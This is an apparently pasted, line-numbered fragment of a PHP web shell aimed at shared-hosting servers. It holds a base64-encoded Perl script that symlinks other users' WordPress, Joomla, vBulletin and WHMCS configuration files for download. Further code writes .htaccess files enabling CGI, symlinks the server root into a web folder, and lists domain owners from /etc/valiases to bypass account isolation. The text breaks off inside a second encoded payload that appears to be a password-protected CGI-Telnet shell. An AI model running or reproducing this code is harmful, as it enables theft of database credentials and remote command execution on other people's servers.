QnKTsNCnN5bWxpbmsoJy9ob21lNS8nLiR1c2VyLicvcHVibGljX2h0bWwvZm9ydW0vaW5jbHVkZXMvY29uZmlnLnBocCcsJGtvbGEuJy0tPnZCdWxsZXRpbjMudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NjL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRrb2xhLictLT52QnVsbGV0aW40LnR4dCcpOw0Kc3ltbGluaygnL2hvbWU1LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25maWcucGhwJywka29sYS4nLS0+UGhwYmIxLnR4dCcpOw0Kc3ltbGluaygnL2hvbWU1LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9mb3J1bS9pbmNsdWRlcy9jb25maWcucGhwJywka29sYS4nLS0+UGhwYmIyLnR4dCcpOw0Kc3ltbGluaygnL2hvbWU1LycuJHVzZXIuJy9wdWJsaWNfaHRtbC93cC1jb25maWcucGhwJywka29sYS4nLS0+V29yZHByZXNzMS50eHQnKTsNCnN5bWxpbmsoJy9ob21lNS8nLiR1c2VyLicvcHVibGljX2h0bWwvYmxvZy93cC1jb25maWcucGhwJywka29sYS4nLS0+V29yZHByZXNzMi50eHQnKTsNCnN5bWxpbmsoJy9ob21lNS8nLiR1c2VyLicvcHVibGljX2h0bWwvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictLT5Kb29tbGExLnR4dCcpOw0Kc3ltbGluaygnL2hvbWU1LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ibG9nL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLS0+Sm9vbWxhMi50eHQnKTsNCnN5bWxpbmsoJy9ob21lNS8nLiR1c2VyLicvcHVibGljX2h0bWwvam9vbWxhL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLS0+Sm9vbWxhMy50eHQnKTsNCnN5bWxpbmsoJy9ob21lNS8nLiR1c2VyLicvcHVibGljX2h0bWwvd2htL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLS0+V2htMS50eHQnKTsNCnN5bWxpbmsoJy9ob21lNS8nLiR1c2VyLicvcHVibGljX2h0bWwvd2htYy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0tPldobTIudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTUvJy4kdXNlci4nL3B1YmxpY19odG1sL3N1cHBvcnQvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictLT5XaG0zLnR4dCcpOw0Kc3ltbGluaygnL2hvbWU1LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jbGllbnQvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictLT5XaG00LnR4dCcpOw0Kc3ltbGluaygnL2hvbWU1LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9iaWxsaW5ncy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0tPldobTUudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTUvJy4kdXNlci4nL3B1YmxpY19odG1sL2JpbGxpbmcvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictLT5XaG02LnR4dCcpOw0Kc3ltbGluaygnL2hvbWU1LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jbGllbnRzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLS0+V2htNy50eHQnKTsNCnN5bWxpbmsoJy9ob21lNS8nLiR1c2VyLicvcHVibGljX2h0bWwvd2htY3MvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictLT5XaG04LnR4dCcpOw0Kc3ltbGluaygnL2hvbWU1LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9vcmRlci9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0tPldobTkudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTUvJy4kdXNlci4nL3B1YmxpY19odG1sL2FkbWluL2NvbmYucGhwJywka29sYS4nLS0+NS50eHQnKTsNCnN5bWxpbmsoJy9ob21lNS8nLiR1c2VyLicvcHVibGljX2h0bWwvYWRtaW4vY29uZmlnLnBocCcsJGtvbGEuJy0tPjQudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NvbmZfZ2xvYmFsLnBocCcsJGtvbGEuJy0tPmludmlzaW8udHh0Jyk7DQpzeW1saW5rKCcvaG9tZTUvJy4kdXNlci4nL3B1YmxpY19odG1sL2luY2x1ZGUvZGIucGhwJywka29sYS4nLS0+Ny50eHQnKTsNCnN5bWxpbmsoJy9ob21lNS8nLiR1c2VyLicvcHVibGljX2h0bWwvY29ubmVjdC5waHAnLCRrb2xhLictLT44LnR4dCcpOw0Kc3ltbGluaygnL2hvbWU1LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ta19jb25mLnBocCcsJGtvbGEuJy0tPm1rLXBvcnRhbGUxLnR4dCcpOw0Kc3ltbGluaygnL2hvbWU1LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmNsdWRlL2NvbmZpZy5waHAnLCRrb2xhLictLT4xMi50eHQnKTsNCnN5bWxpbmsoJy9ob21lNS8nLiR1c2VyLicvcHVibGljX2h0bWwvc2V0dGluZ3MucGhwJywka29sYS4nLS0+U21mLnR4dCcpOw0Kc3ltbGluaygnL2hvbWU1LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmNsdWRlcy9mdW5jdGlvbnMucGhwJywka29sYS4nLS0+cGhwYmIzLnR4dCcpOw0Kc3ltbGluaygnL2hvbWU1LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmNsdWRlL2RiLnBocCcsJGtvbGEuJy0tPmluZmluaXR5LnR4dCcpOw0Kc3ltbGluaygnL2hvbWU2LycuJHVzZXIuJy9wdWJsaWNfaHRtbC92Yi9pbmNsdWRlcy9jb25maWcucGhwJywka29sYS4nLS0+dkJ1bGxldGluMS50eHQnKTsNCnN5bWxpbmsoJy9ob21lNi8nLiR1c2VyLicvcHVibGljX2h0bWwvaW5jbHVkZXMvY29uZmlnLnBocCcsJGtvbGEuJy0tPnZCdWxsZXRpbjIudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTYvJy4kdXNlci4nL3B1YmxpY19odG1sL2ZvcnVtL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRrb2xhLictLT52QnVsbGV0aW4zLnR4dCcpOw0Kc3ltbGluaygnL2hvbWU2LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jYy9pbmNsdWRlcy9jb25maWcucGhwJywka29sYS4nLS0+dkJ1bGxldGluNC50eHQnKTsNCnN5bWxpbmsoJy9ob21lNi8nLiR1c2VyLicvcHVibGljX2h0bWwvY29uZmlnLnBocCcsJGtvbGEuJy0tPlBocGJiMS50eHQnKTsNCnN5bWxpbmsoJy9ob21lNi8nLiR1c2VyLicvcHVibGljX2h0bWwvZm9ydW0vaW5jbHVkZXMvY29uZmlnLnBocCcsJGtvbGEuJy0tPlBocGJiMi50eHQnKTsNCnN5bWxpbmsoJy9ob21lNi8nLiR1c2VyLicvcHVibGljX2h0bWwvd3AtY29uZmlnLnBocCcsJGtvbGEuJy0tPldvcmRwcmVzczEudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTYvJy4kdXNlci4nL3B1YmxpY19odG1sL2Jsb2cvd3AtY29uZmlnLnBocCcsJGtvbGEuJy0tPldvcmRwcmVzczIudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTYvJy4kdXNlci4nL3B1YmxpY19odG1sL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLS0+Sm9vbWxhMS50eHQnKTsNCnN5bWxpbmsoJy9ob21lNi8nLiR1c2VyLicvcHVibGljX2h0bWwvYmxvZy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0tPkpvb21sYTIudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTYvJy4kdXNlci4nL3B1YmxpY19odG1sL2pvb21sYS9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0tPkpvb21sYTMudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTYvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobS9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0tPldobTEudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTYvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobWMvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictLT5XaG0yLnR4dCcpOw0Kc3ltbGluaygnL2hvbWU2LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zdXBwb3J0L2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLS0+V2htMy50eHQnKTsNCnN5bWxpbmsoJy9ob21lNi8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50L2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLS0+V2htNC50eHQnKTsNCnN5bWxpbmsoJy9ob21lNi8nLiR1c2VyLicvcHVibGljX2h0bWwvYmlsbGluZ3MvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictLT5XaG01LnR4dCcpOw0Kc3ltbGluaygnL2hvbWU2LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9iaWxsaW5nL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLS0+V2htNi50eHQnKTsNCnN5bWxpbmsoJy9ob21lNi8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50cy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0tPldobTcudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTYvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobWNzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLS0+V2htOC50eHQnKTsNCnN5bWxpbmsoJy9ob21lNi8nLiR1c2VyLicvcHVibGljX2h0bWwvb3JkZXIvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictLT5XaG05LnR4dCcpOw0Kc3ltbGluaygnL2hvbWU2LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9hZG1pbi9jb25mLnBocCcsJGtvbGEuJy0tPjUudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTYvJy4kdXNlci4nL3B1YmxpY19odG1sL2FkbWluL2NvbmZpZy5waHAnLCRrb2xhLictLT40LnR4dCcpOw0Kc3ltbGluaygnL2hvbWU2LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25mX2dsb2JhbC5waHAnLCRrb2xhLictLT5pbnZpc2lvLnR4dCcpOw0Kc3ltbGluaygnL2hvbWU2LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmNsdWRlL2RiLnBocCcsJGtvbGEuJy0tPjcudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTYvJy4kdXNlci4nL3B1YmxpY19odG1sL2Nvbm5lY3QucGhwJywka29sYS4nLS0+OC50eHQnKTsNCnN5bWxpbmsoJy9ob21lNi8nLiR1c2VyLicvcHVibGljX2h0bWwvbWtfY29uZi5waHAnLCRrb2xhLictLT5tay1wb3J0YWxlMS50eHQnKTsNCnN5bWxpbmsoJy9ob21lNi8nLiR1c2VyLicvcHVibGljX2h0bWwvaW5jbHVkZS9jb25maWcucGhwJywka29sYS4nLS0+MTIudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTYvJy4kdXNlci4nL3B1YmxpY19odG1sL3NldHRpbmdzLnBocCcsJGtvbGEuJy0tPlNtZi50eHQnKTsNCnN5bWxpbmsoJy9ob21lNi8nLiR1c2VyLicvcHVibGljX2h0bWwvaW5jbHVkZXMvZnVuY3Rpb25zLnBocCcsJGtvbGEuJy0tPnBocGJiMy50eHQnKTsNCnN5bWxpbmsoJy9ob21lNi8nLiR1c2VyLicvcHVibGljX2h0bWwvaW5jbHVkZS9kYi5waHAnLCRrb2xhLictLT5pbmZpbml0eS50eHQnKTsNCnN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvdmIvaW5jbHVkZXMvY29uZmlnLnBocCcsJGtvbGEuJy0tPnZCdWxsZXRpbjEudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRrb2xhLictLT52QnVsbGV0aW4yLnR4dCcpOw0Kc3ltbGluaygnL2hvbWU3LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9mb3J1bS9pbmNsdWRlcy9jb25maWcucGhwJywka29sYS4nLS0+dkJ1bGxldGluMy50eHQnKTsNCnN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvY2MvaW5jbHVkZXMvY29uZmlnLnBocCcsJGtvbGEuJy0tPnZCdWxsZXRpbjQudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL2NvbmZpZy5waHAnLCRrb2xhLictLT5QaHBiYjEudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL2ZvcnVtL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRrb2xhLictLT5QaHBiYjIudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL3dwLWNvbmZpZy5waHAnLCRrb2xhLictLT5Xb3JkcHJlc3MxLnR4dCcpOw0Kc3ltbGluaygnL2hvbWU3LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ibG9nL3dwLWNvbmZpZy5waHAnLCRrb2xhLictLT5Xb3JkcHJlc3MyLnR4dCcpOw0Kc3ltbGluaygnL2hvbWU3LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0tPkpvb21sYTEudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL2Jsb2cvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictLT5Kb29tbGEyLnR4dCcpOw0Kc3ltbGluaygnL2hvbWU3LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9qb29tbGEvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictLT5Kb29tbGEzLnR4dCcpOw0Kc3ltbGluaygnL2hvbWU3LycuJHVzZXIuJy9wdWJsaWNfaHRtbC93aG0vY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictLT5XaG0xLnR4dCcpOw0Kc3ltbGluaygnL2hvbWU3LycuJHVzZXIuJy9wdWJsaWNfaHRtbC93aG1jL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLS0+V2htMi50eHQnKTsNCnN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvc3VwcG9ydC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0tPldobTMudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL2NsaWVudC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0tPldobTQudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL2JpbGxpbmdzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLS0+V2htNS50eHQnKTsNCnN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvYmlsbGluZy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0tPldobTYudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL2NsaWVudHMvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictLT5XaG03LnR4dCcpOw0Kc3ltbGluaygnL2hvbWU3LycuJHVzZXIuJy9wdWJsaWNfaHRtbC93aG1jcy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0tPldobTgudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL29yZGVyL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLS0+V2htOS50eHQnKTsNCnN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvYWRtaW4vY29uZi5waHAnLCRrb2xhLictLT41LnR4dCcpOw0Kc3ltbGluaygnL2hvbWU3LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9hZG1pbi9jb25maWcucGhwJywka29sYS4nLS0+NC50eHQnKTsNCnN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvY29uZl9nbG9iYWwucGhwJywka29sYS4nLS0+aW52aXNpby50eHQnKTsNCnN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvaW5jbHVkZS9kYi5waHAnLCRrb2xhLictLT43LnR4dCcpOw0Kc3ltbGluaygnL2hvbWU3LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25uZWN0LnBocCcsJGtvbGEuJy0tPjgudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL21rX2NvbmYucGhwJywka29sYS4nLS0+bWstcG9ydGFsZTEudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL2luY2x1ZGUvY29uZmlnLnBocCcsJGtvbGEuJy0tPjEyLnR4dCcpOw0Kc3ltbGluaygnL2hvbWU3LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zZXR0aW5ncy5waHAnLCRrb2xhLictLT5TbWYudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL2luY2x1ZGVzL2Z1bmN0aW9ucy5waHAnLCRrb2xhLictLT5waHBiYjMudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL2luY2x1ZGUvZGIucGhwJywka29sYS4nLS0+aW5maW5pdHkudHh0Jyk7DQp9DQppZiAoJEVOVnsnUkVRVUVTVF9NRVRIT0QnfSBlcSAnUE9TVCcpIHsNCiAgcmVhZChTVERJTiwgJGJ1ZmZlciwgJEVOVnsnQ09OVEVOVF9MRU5HVEgnfSk7DQp9IGVsc2Ugew0KICAkYnVmZmVyID0gJEVOVnsnUVVFUllfU1RSSU5HJ307DQp9DQpAcGFpcnMgPSBzcGxpdCgvJi8sICRidWZmZXIpOw0KZm9yZWFjaCAkcGFpciAoQHBhaXJzKSB7DQogICgkbmFtZSwgJHZhbHVlKSA9IHNwbGl0KC89LywgJHBhaXIpOw0KICAkbmFtZSA9fiB0ci8rLyAvOw0KICAkbmFtZSA9fiBzLyUoW2EtZkEtRjAtOV1bYS1mQS1GMC05XSkvcGFjaygiQyIsIGhleCgkMSkpL2VnOw0KICAkdmFsdWUgPX4gdHIvKy8gLzsNCiAgJHZhbHVlID1+IHMvJShbYS1mQS1GMC05XVthLWZBLUYwLTldKS9wYWNrKCJDIiwgaGV4KCQxKSkvZWc7DQogICRGT1JNeyRuYW1lfSA9ICR2YWx1ZTsNCn0NCmlmICgkRk9STXtwYXNzfSBlcSAiIil7DQpwcmludCAnDQo8Ym9keSBjbGFzcz0ibmV3U3R5bGUxIiBiZ2NvbG9yPSIjMjIyMjIyIj4NCjxwPlBhaW4gU2NyaXB0IFRvIFN5bWxpbmsgQ29uZmlnczwvcD4NCjxwPjxmb250IGNvbG9yPSIjMDA5OTAwIj5bPC9mb250PiBSZUNvZGVkIGJ5IFZpcnVzYSBXb3JtIDxmb250IGNvbG9yPSIjMDA5OTAwIj58PC9mb250PiBPcmlnaW5hbCBDb2RlZCBieSBLYXJhciBhTFNoYU1pIDxmb250IGNvbG9yPSIjMDA5OTAwIj58IDwvZm9udD4gDQpEZXZlbG9wZWQgQnkgSGlkZGVuIFBhaW4gPGZvbnQgY29sb3I9IiMwMDk5MDAiPl08L2ZvbnQ+PC9wPg0KPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCjx0ZXh0YXJlYSBuYW1lPSJwYXNzIiByb3dzPSIyNSIgY29scz0iNzAiICBzdHlsZT0iYm9yZGVyOiAxcHggc29saWQgIzAwNzcwMDsgYm9yZGVyLXJhZGl1czogNHB4OyBib3gtc2hhZG93OiAwcHggMHB4IDRweCBibGFjazsgYmFja2dyb3VuZC1jb2xvcjojMjIyMjIyOyBmb250LWZhbWlseTpUYWhvbWE7IGZvbnQtc2l6ZTo4cHQ7IGNvbG9yOiMwMGFhMDA7IiAgPjwvdGV4dGFyZWE+PGJyIC8+DQombmJzcDs8cD4NCjxpbnB1dCBuYW1lPSJ0YXIiIHR5cGU9InRleHQiIHN0eWxlPSJib3JkZXI6IDFweCBzb2xpZCAjMDA3NzAwOyBib3JkZXItcmFkaXVzOiA0cHg7IGJveC1zaGFkb3c6IDBweCAwcHggNHB4IGJsYWNrOyBiYWNrZ3JvdW5kLWNvbG9yOiMyMjIyMjI7IGZvbnQtZmFtaWx5OlRhaG9tYTsgZm9udC1zaXplOjhwdDsgY29sb3I6I2FiYWJhYjsgIiAgLz48YnIgLz4NCiZuYnNwOzwvcD4NCjxwPg0KPGlucHV0IG5hbWU9IlN1Ym1pdDEiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkdldCBDb25maWciIHN0eWxlPSJib3JkZXI6MXB4ICMwMDc3MDA7IGJvcmRlci1yYWRpdXM6IDRweDsgd2lkdGg6IDk5OyBmb250LWZhbWlseTpUYWhvbWE7IGZvbnQtc2l6ZToxMHB0OyBjb2xvcjojMjIyMjIyOyB0ZXh0LXRyYW5zZm9ybTp1cHBlcmNhc2U7IGhlaWdodDoyMzsgYmFja2dyb3VuZC1jb2xvcjojZTRlNGU0IiAvPjwvcD4NCjwvZm9ybT4nOw0KfWVsc2V7DQpAbGluZXMgPTwkRk9STXtwYXNzfT47DQokeSA9IEBsaW5lczsNCm9wZW4gKE1ZRklMRSwgIj50YXIudG1wIik7DQpwcmludCBNWUZJTEUgInRhciAtY3pmICIuJEZPUk17dGFyfS4iLnRhciAiOw0KZm9yICgka2E9MDska2E8JHk7JGthKyspew0Kd2hpbGUoQGxpbmVzWyRrYV0gID1+IG0vKC4qPyk6eDovZyl7DQombGlsKCQxKTsNCnByaW50IE1ZRklMRSAkMS4iLnR4dCAiOw0KZm9yKCRrZD0xOyRrZDwxODska2QrKyl7DQpwcmludCBNWUZJTEUgJDEuJGtkLiIudHh0ICI7DQp9DQp9DQogfQ0KcHJpbnQnPGJvZHkgY2xhc3M9Im5ld1N0eWxlMSIgYmdjb2xvcj0iIzIyMjIyMiI+DQo8cD5Eb25lICEhPC9wPg0KPHA+Jm5ic3A7PC9wPic7DQppZigkRk9STXt0YXJ9IG5lICIiKXsNCm9wZW4oSU5GTywgInRhci50bXAiKTsNCkBsaW5lcyA9PElORk8+IDsNCmNsb3NlKElORk8pOw0Kc3lzdGVtKEBsaW5lcyk7DQpwcmludCc8cD48YSBocmVmPSInLiRGT1JNe3Rhcn0uJy50YXIiPjxmb250IGNvbG9yPSIjMDBmZjAwIj4NCjxzcGFuIHN0eWxlPSJ0ZXh0LWRlY29yYXRpb246IG5vbmUiPkNsaWNrIEhlcmUgVG8gRG93bmxvYWQgVGFyIEZpbGU8L3NwYW4+PC9mb250PjwvYT48L3A+JzsNCn0NCn0NCiBwcmludCINCjwvYm9keT4NCjwvaHRtbD4iOw==';
  5407. $file=(base64_decode($vw));
  5408. mkdir('tempek', 0777);
  5409. $hope = fopen("tempek/.htaccess", 'w');
  5410. $hcon= "Options FollowSymLinks MultiViews Indexes ExecCGI\nAddType application/x-httpd-cgi .pl\nAddHandler cgi-script .pl\nAddHandler cgi-script .pl";
  5411. fwrite ( $hope, $hcon ) ;
  5412. $pelfile = fopen("tempek/mambu.pl" ,"w");
  5413. fwrite ($pelfile,$file);
  5414. chmod("tempek/mambu.pl",0755);
  5415. echo "<iframe src=tempek/mambu.pl width=50% height=70% ></iframe><br><br> ";
  5416. echo "<font face='Tahoma' color='#007700' size='2pt'>check in this directory for configs files</font><br><br><b><a href='tempek/' target='_blank'> Click Here </a></b><br><br>";
  5417. }
  5418.  
  5419. echo '<table width=100% border=0><tr><td align=center></td></tr></table>
  5420. <p><form method=post>
  5421. <input type=submit name="ms" value="Read /etc/named.conf" /></form></p><br>';
  5422.  
  5423. if(isset($_POST['ms']))
  5424. {
  5425. error_reporting(0);
  5426. $cmd="ls /var/named";
  5427. $r=shell_exec($cmd);
  5428. mkdir('jembut',0777);
  5429. $rr = " Options all \n DirectoryIndex Sux.html \n AddType text/plain .php \n AddHandler server-parsed .php \n AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any";
  5430. $f = fopen('jembut/.htaccess','w');
  5431. $agshell = symlink("/","jembut/ngriwul");
  5432. fwrite($f , $rr);
  5433. echo '<form method=post><textarea class=area rows=10 cols=35 name=web>';
  5434. echo $r;
  5435. echo '</textarea><br><br><input type=submit name=w value="Bypass Now !">
  5436. </form><br><br>';
  5437.  
  5438. }
  5439. error_reporting(0);
  5440. $webs=explode("\n",$_POST['web']);
  5441. if(isset($_POST['w']))
  5442. {
  5443. $webs=explode("\n",$_POST['web']);
  5444. echo "
  5445. <div class='tmp'><table width='40%'><tr><td><font color='#e4e4e4' ><b>Domains</b></font></td><td><font color='#e4e4e4'><b>Users</b></font></td><td><font color='#e4e4e4'><b>Symlink</b> </font></td></tr></div>";
  5446. foreach($webs as $f)
  5447. {
  5448. $str=substr_replace($f,"",-4);
  5449. $user = posix_getpwuid(@fileowner("/etc/valiases/".$str));
  5450. echo "<tr><td><font color=red>".$str."</font></td><td><font color=#b0b000>".$user['name']."</td><td><div class='cone'><a target='_blank' href=jembut/ngriwul/home/".$user['name']."/public_html/>Symlink</a></div></td></tr>";
  5451. flush();
  5452. }
  5453.  
  5454. }
  5455. echo '</table><br><br>';
  5456. }
  5457. ?>
  5458. <?php
  5459. if(isset($_GET['jak']) && $_GET['jak'] == 'cgi'){
  5460. mkdir('PBM', 0755);
  5461. chdir('PBM');
  5462. $kokdosya = ".htaccess";
  5463. $dosya_adi = "$kokdosya";
  5464. $dosya = fopen ($dosya_adi , 'w') or die ("Dosya a&#231;&#305;lamad&#305;!");
  5465. $metin = "AddType application/x-httpd-cgi .te4m
  5466. AddType application/x-httpd-cgi .te4m
  5467.  
  5468. AddHandler cgi-script .te4m
  5469. AddHandler cgi-script .te4m";
  5470. fwrite ( $dosya , $metin ) ;
  5471. fclose ($dosya);
  5472. $cgi4e = 'IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluDQp1c2UgTUlNRTo6QmFzZTY0Ow0KJFZlcnNpb249ICJDR0ktVGVsbmV0IFZlcnNpb24gMS40IjsNCiRFZGl0UGVyc2lvbj0iQW5vbkdob3N0IjsNCg0KJFBhc3N3b3JkID0gInZpcnVzYSI7CQkJIyBDaGFuZ2UgdGhpcy4gWW91IHdpbGwgbmVlZCB0byBlbnRlciB0aGlzDQoJCQkJIyB0byBsb2dpbi4NCnN1YiBJc19XaW4oKXsNCgkkb3MgPSAmdHJpbSgkRU5WeyJTRVJWRVJfU09GVFdBUkUifSk7DQoJaWYoJG9zID1+IG0vd2luL2kpew0KCQlyZXR1cm4gMTsNCgl9ZWxzZXsNCgkJcmV0dXJuIDA7DQoJfQ0KfQ0KJFdpbk5UID0gJklzX1dpbigpOwkJCSMgWW91IG5lZWQgdG8gY2hhbmdlIHRoZSB2YWx1ZSBvZiB0aGlzIHRvIDEgaWYNCgkJCQkJIyB5b3UncmUgcnVubmluZyB0aGlzIHNjcmlwdCBvbiBhIFdpbmRvd3MgTlQNCgkJCQkJIyBtYWNoaW5lLiBJZiB5b3UncmUgcnVubmluZyBpdCBvbiBVbml4LCB5b3UNCgkJCQkJIyBjYW4gbGVhdmUgdGhlIHZhbHVlIGFzIGl0IGlzLg0KDQokTlRDbWRTZXAgPSAiJiI7CQkJIyBUaGlzIGNoYXJhY3RlciBpcyB1c2VkIHRvIHNlcGVyYXRlIDIgY29tbWFuZHMNCgkJCQkJIyBpbiBhIGNvbW1hbmQgbGluZSBvbiBXaW5kb3dzIE5ULg0KDQokVW5peENtZFNlcCA9ICI7IjsJCQkjIFRoaXMgY2hhcmFjdGVyIGlzIHVzZWQgdG8gc2VwZXJhdGUgMiBjb21tYW5kcw0KCQkJCQkjIGluIGEgY29tbWFuZCBsaW5lIG9uIFVuaXguDQoNCiRDb21tYW5kVGltZW91dER1cmF0aW9uID0gMTA7CQkjIFRpbWUgaW4gc2Vjb25kcyBhZnRlciBjb21tYW5kcyB3aWxsIGJlIGtpbGxlZA0KCQkJCQkjIERvbid0IHNldCB0aGlzIHRvIGEgdmVyeSBsYXJnZSB2YWx1ZS4gVGhpcyBpcw0KCQkJCQkjIHVzZWZ1bCBmb3IgY29tbWFuZHMgdGhhdCBtYXkgaGFuZyBvciB0aGF0DQoJCQkJCSMgdGFrZSB2ZXJ5IGxvbmcgdG8gZXhlY3V0ZSwgbGlrZSAiZmluZCAvIi4NCgkJCQkJIyBUaGlzIGlzIHZhbGlkIG9ubHkgb24gVW5peCBzZXJ2ZXJzLiBJdCBpcw0KCQkJCQkjIGlnbm9yZWQgb24gTlQgU2VydmVycy4NCg0KJFNob3dEeW5hbWljT3V0cHV0ID0gMTsJCQkjIElmIHRoaXMgaXMgMSwgdGhlbiBkYXRhIGlzIHNlbnQgdG8gdGhlDQoJCQkJCSMgYnJvd3NlciBhcyBzb29uIGFzIGl0IGlzIG91dHB1dCwgb3RoZXJ3aXNlDQoJCQkJCSMgaXQgaXMgYnVmZmVyZWQgYW5kIH